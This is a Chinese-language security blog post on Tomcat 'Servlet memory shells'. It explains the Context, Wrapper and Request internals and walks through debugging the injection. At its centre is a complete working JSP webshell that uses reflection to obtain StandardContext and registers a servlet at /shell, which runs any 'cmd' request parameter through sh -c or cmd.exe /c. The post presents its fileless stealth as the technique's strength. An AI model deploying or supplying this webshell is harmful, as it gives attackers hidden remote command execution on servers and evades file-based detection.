Servlet記憶體馬

Erosion2020發表於2024-11-28

emmm.....本篇寫的還不是很完善,學著後邊的忘著後邊的,後續邊學邊完善吧........

概述

如果你不瞭解IDEA除錯TomcatTomcat各元件概念可以參考我的部落格:JAVA WEB環境搭建Tomcat各元件解析

由前邊我們學習Tomcat知道了Container中的Context概念,Context負責管理一個 Web 應用程式的生命週期和配置。Context 作為 Tomcat 中 Host 容器的一部分,通常會有不同的實現類,每個實現類有不同的特性和用途。來看一下常見的 Context 以及相關的元件:

StandardContext

這是最常用的 Context 實現。它通常用於開發和生產環境,適用於大多數 Web 應用。

StandardContext 是 Tomcat 中最常用的 Context 實現,主要用於管理 Web 應用程式的生命週期。它作為一個容器,負責載入和管理 Web 應用的所有資源,包括 Servlet、JSP 頁面、靜態檔案等。在一個典型的 Web 應用中,StandardContext 是與應用相關的核心元件,它確保 Web 應用在啟動時被正確初始化,在執行時能夠處理請求,在停止時被銷燬。

具體來說,StandardContext 主要負責從 Web 應用的 web.xml 配置檔案或註解中讀取 Servlet 配置,並在應用啟動時載入這些 Servlet。當請求到達時,StandardContext 會根據請求的 URL 查詢匹配的 Servlet,然後將請求傳遞給該 Servlet 來處理。它還負責 Servlet 例項的生命週期管理,包括 Servlet 的初始化、銷燬等操作。除此之外,StandardContext 還支援配置 Servlet 的初始化引數、對映路徑以及錯誤頁面等。

WrapperContext

WrapperContext 是 Tomcat 中一個較為特殊的 Context 實現,通常用於早期版本的 Tomcat,並且它的使用相對較少。它主要用於處理與 Servlet 相關的配置和生命週期管理,尤其是在 Web 應用程式中多個 Servlet 例項共享一個容器時。WrapperContext 實際上並不作為 Tomcat 中標準的 Web 應用容器,而更多地作為一種歷史遺留實現,特定版本中用於提供對 Servlet 的管理支援。

WrapperContext 的核心功能是管理和封裝 Servlet 的生命週期,包括 Servlet 的初始化、服務處理以及銷燬。它透過將 ServletWrapper 進行關聯,提供了對 Servlet 例項的集中管理。在這個容器中,Wrapper 負責配置每個 Servlet,並且 WrapperContext 作為容器為這些 Servlet 提供執行環境。

此外,WrapperContext 在處理請求時,充當了請求和 Servlet 之間的中介。透過對 Wrapper 的配置,WrapperContext 確保特定的請求能夠被分發到正確的 Servlet 進行處理。然而,隨著 Tomcat 版本的更新和架構的演進,WrapperContext 的作用逐漸被其他更加靈活和可擴充套件的容器所替代,如 StandardContext,因此在現代的 Tomcat 環境中,它並不常用,更多的是作為對舊版本的支援。

Wrapper

Wrapper 是一個封裝了 Servlet 的元件。Wrapper 並不直接處理請求或定義 Servlet 的邏輯,它主要負責配置和管理與 Servlet 相關的操作,比如 Servlet 的初始化、銷燬和配置引數。簡單來說,Wrapper 是對一個 Servlet 的“封裝”,它與 Servlet 例項緊密關聯,但更多地作為容器內管理的角色,處理 Servlet 的生命週期和對映。

WrapperContext 並不是一個廣泛使用的標準元件,而是特定版本中用於處理 WrapperContextWrapperContext 實際上是用於管理和儲存多個 Wrapper(即多個 Servlet)例項的容器。它的主要作用是集中管理與 Servlet 例項相關的配置、生命週期等。當 Tomcat 啟動 Web 應用時,WrapperContext 會將各個 Wrapper 載入並管理,而每個 Wrapper 則對應一個具體的 Servlet

JSP Servlet記憶體馬

至於Servlet的概念就不分析了,可以參考我的Tomcat元件概念這篇部落格,下邊這段程式碼是在IDEA中建立的基礎模板上的index.jsp做的修改,參考我的帖子:IDEA配置JAVA WEB環境

然後我們分析一下這段程式碼

重點關注一下往context中寫入Servlet的過程即可,Servlet本身沒什麼好說的

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.Servlet" %>
<%@ page import="javax.servlet.ServletConfig" %>
<%@ page import="javax.servlet.ServletException" %>
<%@ page import="javax.servlet.ServletRequest" %>
<%@ page import="javax.servlet.ServletResponse" %>

<%!
  // 定義一個簡單的 Servlet 用於執行系統命令,Servlet沒什麼可說的,和正常的介面沒什麼區別,主要是看一下如何動態獲取context,並且往context裡邊寫入Servlet的
  Servlet servlet = new Servlet() {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {
      // 初始化邏輯(可為空)
    }

    @Override
    public ServletConfig getServletConfig() {
      return null; // 不需要配置
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
      // 獲取傳入的命令引數
      String cmd = servletRequest.getParameter("cmd");
      if (cmd == null || cmd.trim().isEmpty()) {
        servletResponse.getWriter().println("No command specified.");
        return;
      }
      // 判斷windows型別並呼叫cmd指令
      boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
      String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
      String output = executeCommand(cmds);
      servletResponse.setContentType("text/plain");
      servletResponse.getWriter().println(output);
    }

    private String executeCommand(String[] cmds) {
      StringBuilder output = new StringBuilder();
      try (InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
           Scanner scanner = new Scanner(in).useDelimiter("\\a")) {
        if (scanner.hasNext()) {
          output.append(scanner.next());
        }
      } catch (IOException e) {
        output.append("Error executing command: ").append(e.getMessage());
      }
      return output.toString();
    }

    @Override
    public String getServletInfo() {
      return null;
    }

    @Override
    public void destroy() {
      // 銷燬邏輯(可為空)
    }
  };
%>

<%
    // 使用反射獲取 StandardContext 上下文
	// 在 JSP 中,request 是一個隱式物件,它是由 Servlet 容器(如 Tomcat)自動提供給每個請求的。request 物件是 HttpServletRequest 型別的例項,包含了與 HTTP 請求相關的資訊,比如請求引數、請求頭、請求方法等。你可以直接在 JSP 中使用它來獲取這些資訊。
	// HttpServletRequest繼承了ServletRequest,所以可以取到ServletRequest.request這個欄位
    Field reqField = request.getClass().getDeclaredField("request");
    reqField.setAccessible(true);
	// Request是一個繼承了HttpServletRequest的物件,所以可以透過這種方式來拿到Request物件
    Request req = (Request) reqField.get(request);
	// Request提供了getContext的方法,所以這裡可以取到context
    StandardContext stdContext = (StandardContext) req.getContext();

    
    String servletName = servlet.getClass().getSimpleName() + "_" + System.currentTimeMillis();
	// 建立並配置新的 Wrapper
    Wrapper newWrapper = stdContext.createWrapper(); 
    newWrapper.setName(servletName);
	// 設定為重啟時載入
	// loadOnStartup預設值為-1,表示Servlet命中時載入
	// loadOnStartUp!=-1時,表示載入的優先順序
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 將 Servlet 新增到上下文也就是context中,這樣我們就能夠訪問到這個Servlet了
    stdContext.addChild(newWrapper);
    stdContext.addServletMappingDecoded("/shell", servletName);
%>

<!DOCTYPE html>
<html>
<head>
  <title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %></h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
</body>
</html>

ServletRequest(原生 Request)

ServletRequest 是 Java Servlet API 中定義的介面,它代表了客戶端請求的基本資訊。這個介面提供了一些通用的、與協議無關的方法,允許 Servlet 處理不同型別的請求。它是所有請求物件的父介面,無論是在 HTTP 請求、WebSocket 請求還是其他協議下,都會繼承這個介面。

主要功能:

  • 獲取請求引數:getParameter()getParameterMap() 等方法
  • 獲取請求頭:getHeader()getHeaders() 等方法
  • 獲取輸入流:getInputStream(),獲取請求體的原始內容(如 POST 資料)

作用: ServletRequest 介面定義了與客戶端請求的互動方式,但它並不處理特定協議的細節。例如,它不關心 HTTP 的請求頭、Cookie 或方法(如 GET、POST 等)。

Tomcat 實現: 在 Tomcat 中,ServletRequest 通常由 Tomcat 的底層元件建立,處理和傳遞,它在請求的初期階段將原始的請求資料(包括輸入流、引數等)交給 Servlet 來處理。這個物件通常是最“原始”的請求物件,只包含協議無關的基本資訊。

HttpServletRequest(HTTP 協議 Request)

HttpServletRequestServletRequest 的子介面,專門用於處理 HTTP 協議相關的請求資訊。它不僅繼承了 ServletRequest 的方法,還擴充套件了許多 HTTP 協議特有的功能,例如處理 HTTP 方法、請求頭、Cookies、會話等。

主要功能:

  • 獲取 HTTP 請求的引數:getParameter()getParameterMap() 等方法
  • 獲取 HTTP 請求頭:getHeader()getHeaders() 等方法
  • 獲取請求的 HTTP 方法(如 GET、POST):getMethod()
  • 獲取請求的路徑、URL:getRequestURI()getRequestURL() 等方法
  • 獲取和設定 Cookies:getCookies()setCookies() 等方法
  • 獲取 Session 資訊:getSession()getSession(false) 等方法

作用: HttpServletRequest 負責處理 HTTP 協議特有的內容。在 Tomcat 或其他 Servlet 容器中,HttpServletRequest 是用於處理 HTTP 請求的核心介面,它提供了比 ServletRequest 更豐富的功能,允許開發者訪問和操作 HTTP 請求的各種細節,如請求方法、URL、引數、頭部等。

Tomcat 實現: 在 Tomcat 中,HttpServletRequest 實際上是由 RequestFacade 類實現的。RequestFacade 類將 ServletRequest 介面提供的通用功能與 HTTP 協議特定的功能結合在一起。這個物件不僅封裝了請求的基本資料,還新增了許多 HTTP 相關的資訊和方法。RequestFacade 將透過底層的 Request 物件提供給開發者。

Request(Tomcat 封裝物件)

Request 是 Tomcat 內部實現的一個類,它繼承了 HttpServletRequest,並進一步封裝了 HTTP 請求的細節。它是 Tomcat 容器內部的一個重要物件,主要負責與 Tomcat 內部的容器機制(如 StandardContextWrapper 等)進行互動。

主要功能:

  • 它封裝了 HttpServletRequest,並且增加了與 Tomcat 容器相關的功能。
  • Request 物件不僅包含 HTTP 請求的資訊,還包含了與容器相關的上下文資訊,如 Web 應用的 StandardContext
  • Request 物件還可以處理請求的生命週期、請求分發、請求的初始化等與容器有關的操作。

作用: 在 Tomcat 中,Request 物件是 HTTP 請求的核心封裝,除了提供標準的 HTTP 請求方法,還承擔了許多與容器相關的任務,比如管理請求的生命週期、執行請求轉發等。Tomcat 中的 Servlet 容器元件會將 Request 物件傳遞給相應的 Servlet 進行處理。

Tomcat 實現: Tomcat 中的 Request 類是一個非常核心的類,負責將 HTTP 請求與 Web 應用的上下文(如 StandardContext)以及其他容器功能結合起來。透過 Request 物件,Tomcat 不僅能夠向 Servlet 提供 HTTP 請求的資訊,還能將請求與 Tomcat 的容器機制(如 Servlet 對映、上下文管理等)結合起來。

三個 request 物件之間的關係

  • ServletRequest 是最原始的介面,定義了與請求相關的基本操作,但它不關心協議型別(如 HTTP 或其他)。它是所有請求類的父類。
  • HttpServletRequest 繼承自 ServletRequest,並專門用於處理 HTTP 協議的請求,提供了處理 HTTP 請求的擴充套件方法,比如請求方法、URL、Session、請求頭等。
  • Request 是 Tomcat 特有的實現類,繼承了 HttpServletRequest,不僅包含 HTTP 請求的資訊,還增加了與 Tomcat 容器相關的功能和上下文資訊。Request 物件是在 Tomcat 內部用於處理 HTTP 請求的核心物件。

它們之間的繼承關係:

ServletRequest
    ↑
HttpServletRequest
    ↑
Request (Tomcat 的內部實現)

Debug Tomcat

讓我們來除錯一下這段惡意程式碼,看看他是怎麼載入進Context中的,在index.jsp中的這幾個地方打上斷點:

  • String cmd = servletRequest.getParameter("cmd");
  • Field reqField = request.getClass().getDeclaredField("request");

image-20241128185619143

這裡注意到一個很有意思的地方,就是IDEA的debug watch框中,顯示this物件是一個index_jsp@3635,這看起來就像是一個Java物件,雖然知道這些程式碼肯定要編譯成Java程式碼,但是這裡直接看到是一個Java物件還是覺得很好玩.....hhhhh,真有意思,後邊再研究一下看是什麼原理吧,繼續debug。

斷點會先命中我們設定context上下文的一段程式碼,中間會有建立Wrapper以及設定對應屬性的過程,最終會呼叫StandardContext中的addChild方法,我們在org.apache.catalina.core.StandardContext.addChild()方法中打一個斷點。

image-20241128190202927

最終會呼叫super.addChild方法,也就是ContainerBase這個類,我們進去看一下,最終會被放到children中,再往後就是解鎖、觸發事件這些事兒了,就不用關心了。

image-20241128190713788

最後新增完Servlet之後,程式碼會跳轉到index.jsp中,執行context.addServletMappingDecoded,給servlet新增一個對映路徑。其實就是告訴context路徑和servlet的對應關係,當HTTP請求一個路徑時,context就能找到對應的servlet。

image-20241128190940639

然後透過瀏覽器訪問記憶體馬路徑,然後拼接引數cmd=calc(經典彈計算器了),然後回車

image-20241128191357329

計算器被彈出。但是index.jsp的service方法並沒有並命中,其實在服務啟動的時候service就已經被命中了,而後續Tomcat直接使用Servlet內容的時候並不會命中jsp中的內容了,因為Servlet已經被載入到記憶體中,這就是記憶體馬的強大之處。

image-20241128191551559

普通shell以檔案方式存在,做惡意檔案識別相對來說是簡單的,但是惡意程式碼被載入到記憶體中之後,想要查殺是非常困難的。

為什麼無法除錯到 service 方法?

  1. 記憶體中的 Servlet
    • 這段程式碼的關鍵在於 Servlet 物件並不是透過檔案系統載入的,而是透過動態程式碼注入到 Tomcat 的記憶體中。Tomcat 在啟動時會根據 web.xml 或其他配置載入和初始化 Web 應用中的 Servlet,但是這裡的 Servlet 是透過 StandardContext 動態建立並新增的,而不是從一個物理檔案載入的。因此,它的類載入過程和傳統的 Servlet 類載入不同。
  2. JVM 類載入機制
    • 在 Tomcat 啟動過程中,Web 應用的 Servlet 是透過類載入器從磁碟載入並對映到 Web 應用的上下文中。而當透過動態建立 Servlet 物件並將其注入到 StandardContext 中時,Tomcat 會在記憶體中執行這個 Servlet。對於 JVM 來說,它並沒有透過檔案系統來載入這個 Servlet,因此傳統的除錯方法(例如在 .jsp.java 檔案中的斷點除錯)可能無法捕捉到這個 Servlet 的行為。

這就是 記憶體馬 的強大之處,它能夠直接在 JVM 記憶體中執行,不依賴於檔案系統中的物理檔案。因此,記憶體馬的攻擊方式相較於 WebShell 等基於檔案的攻擊有更高的隱蔽性,尤其是在除錯和安全監控方面,難以直接透過檔案掃描或常規的除錯方法發現。

  • 隱蔽性:記憶體馬不需要透過檔案系統儲存惡意程式碼,因此它可以繞過常規的檔案掃描和檔案系統監控工具。
  • 永續性:雖然記憶體馬在伺服器重啟後可能會消失,但它可以在攻擊者控制下實現自我複製或持久化,或者透過某些漏洞實現重啟後重新載入。

補充

補充1

Servlet 記憶體馬 並不是 "純粹" 的記憶體馬,它並沒有完全達到記憶體馬的無檔案落地的特點。確實,記憶體馬的原始意圖是透過僅在記憶體中執行,避免檔案系統的存在或痕跡,但透過 JSP 檔案或其他形式的惡意檔案載入和觸發,Servlet 記憶體馬仍然需要依賴於初始的檔案落地和 Tomcat 重新載入。這使得它與傳統的記憶體馬(完全在記憶體中執行,不依賴於檔案)有所不同。

補充2

上述篇幅裡只debug了記憶體馬的載入過程,其實Tomcat在初始化的時候會有很多Servlet被載入進來,有興趣的話可以debug一下,下邊的這個呼叫過程,這個過程其實就是記憶體馬的原理,估計當時發現servlet記憶體馬的人就是這麼debug出來的:

ContextConfig.configureContext()
	↓
Wrapper wrapper = this.context.createWrapper();
wrapper.setLoadOnStartup(servlet.getLoadOnStartup());
wrapper.setEnabled(servlet.getEnabled());
wrapper.setName(servlet.getServletName());
......
wrapper.setOverridable(servlet.isOverridable());
this.context.addChild(wrapper);
	↓
StandardContext.addChild(Container child)
	↓
ContainerBase.addChild(Container child)
	↓
ContainerBase.addChildInternal(Container child)

相關文章